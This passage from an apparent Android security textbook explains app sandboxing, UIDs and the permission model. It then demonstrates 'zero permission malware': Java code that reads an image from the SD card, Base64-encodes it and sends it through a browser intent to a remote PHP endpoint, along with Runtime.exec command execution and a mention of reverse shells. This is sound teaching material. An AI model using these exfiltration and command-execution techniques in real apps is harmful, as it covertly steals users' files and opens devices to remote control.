Sandboxing and the permission model
In order to understand Android Sandboxing, let's take an example with the following figure:
As explained in the preceding figure and discussed earlier, each application in Android runs in its own instance of Dalvik Virtual Machine. This is why, any time any application in our device crashes, it simply shows a Force close or Wait option, but the other applications continue running smoothly. Also, since each application is running in its own instance, it won't be able to access the other application's data unless otherwise specified by the content providers.
Android uses a fine-grained permission model, which requires the application to predefine the permission before compiling the final application package.
You must have noticed that every time you download applications from the Play Store or any other source, it shows a permission screen while installing, which looks similar to the following screenshot:
This permission screen shows a list of all the tasks that the application can do with the phone, such as sending SMS, accessing the Internet, and accessing the camera. Asking for more permissions than required by an application makes it a more attractive target for malware authors.
An Android application developer has to specify all of these permissions while developing the application, in a file called AndroidManifest.xml
. This file contains a list of various application-related information such as the minimum Android version required to run the program, the package name, the list of activities (screens in the application visible to the user), services (background processes of the application), and permissions required. If an app developer fails to specify the permission in the AndroidManifest.xml
file and still uses it in the application, the application will simply crash and show a Force close message when the user runs it.
A normal AndroidManifest.xml
file looks like the one shown in the following screenshot. Here, you can see the different permissions required with the <uses-permission>
tag and the other tags:
As previously discussed, all the Android applications are assigned a unique UID when they are first started after being installed. All the users with a given UID belong to a particular group depending on the permissions they ask for. For example, an application asking for just the Internet permission would belong to the inet group, as the Internet permission in Android comes under the inet group.
A user (application in this case) can belong to multiple groups depending on the permissions they ask for. Or in other words, each user could belong to multiple groups, and each group can have multiple users. The groups have a unique name defined by the Group ID (GID). The developer could, however, specify explicitly for his other applications to run under the same UID as the first one. The groups and the permissions inside it are specified in the file in our device named platform.xml
located at /system/etc/permissions/
:
shell@grouper:/system/etc/permissions $ cat platform.xml <permissions> . . . <!-- ================================================================== --> <!-- The following tags are associating low-level group IDs with permission names. By specifying such a mapping, you are saying that any application process granted the given permission will also be running with the given group ID attached to its process, so it can perform any filesystem (read, write, execute) operations allowed for that group. --> <permission name="android.permission.BLUETOOTH" > <group gid="net_bt" /> </permission> <permission name="android.permission.INTERNET" > <group gid="inet" /> </permission> <permission name="android.permission.CAMERA" > <group gid="camera" /> </permission> . . . [Some of the data has been stripped from here in order to shorten the output and make it readable] </permissions>
Also, this clears up the doubt for the native applications running in Android devices. Since the native applications interact directly with the processor, rather than running under the Dalvik Virtual Machine, it will not affect the overall security model in any manner.
Now, just like we saw in the earlier section, the application will store its data at location /data/data/[package name]
. Now, all the folders that store the data for the application will also have the same user ID, which forms the basis of the Android security model. Depending on the UID and the file permissions, it will restrict its access and modification from other applications with a different UID.
However, one could read the contents of an SD card without requiring any kind of permission. Also, once the attacker has the data, they could open up a browser and send the data with a POST/GET request to a remote server, where it will be saved. In this way, zero permission malware could be made.
In the following code sample, ret
contains the image stored in the SD card encoded in the Base64 format, which is now being uploaded to the attify.com website using the browser call. The intent is just to find a way to communicate between two different Android objects.
We will first create an object to store the image, encode it in Base64, and finally store it in a string imageString
:
final File file = new File("/mnt/sdcard/profile.jpg");Uri uri = Uri.fromFile(file); ContentResolver cr = getContentResolver(); Bitmap bMap=null; try { InputStream is = cr.openInputStream(uri); bMap = BitmapFactory.decodeStream(is); if (is != null) { is.close(); } } catch (Exception e) { Log.e("Error reading file", e.toString()); } ByteArrayOutputStream baos = new ByteArrayOutputStream(); bMap.compress(Bitmap.CompressFormat.JPEG, 100, baos); byte[] b = baos.toByteArray(); String imageString = Base64.encodeToString(b,Base64.DEFAULT);
Finally, we will launch the browser to send the data to our server, where we have a .php
file listening for incoming data:
startActivity(new Intent(Intent.ACTION_VIEW,Uri.parse("http://attify.com/up.php?u="+imageString)));
We could also execute commands and send the output to the remote server in the same fashion. However, an important point to note here is that the shell would be running under the user of the application:
To execute commands : String str = "cat /proc/version"; //command to be executed is stored in str. process = Runtime.getRuntime().exec(str);
This is an interesting fact, considering an attacker could get a reverse shell (which is a two-way connection from the device to the system and could be used to execute commands) using this technique without the need for any kind of permissions.